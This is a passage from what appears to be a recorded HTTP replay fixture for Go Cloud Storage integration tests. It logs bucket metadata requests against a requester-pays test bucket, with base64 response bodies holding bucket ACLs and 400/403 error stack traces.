pLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjMzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmdldChCdWNrZXRzRGVsZWdhdG9yLmphdmE6ODMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "0764f2598b67c664", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3054" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:49 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:49 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrGddSv5GSaZB7qBmb0PigbMbJmWs91JB0W99oOTcbMeUk9QeBf-7QF7W_BpAn3wNxqVD5cBDPgGuKrZCfYv77SgCGxcPW-jrXsUY5h50q8eFL0_3o" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ2LjgwM1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0Ny45MTlaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBST0ifV0sImRlZmF1bHRPYmplY3RBY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FJPSJ9XSwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sIm93bmVyIjp7ImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCJ9LCJsb2NhdGlvbiI6IlVTIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9LCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "bdb0ff507e4df251", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13039" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:49 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:49 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up8t6bOWiJucB8KpVlIp8WjWLSUKssQaynZNguVy_oBM2ggBePUFnoteMcbw_L9aSHoD4hwi91dMaBC4aVc6VuaMSBSVuCe0L_0IymxhBIx3SRj_As" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YToxMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjMzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmdldChCdWNrZXRzRGVsZWdhdG9yLmphdmE6ODMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YToxMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjMzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl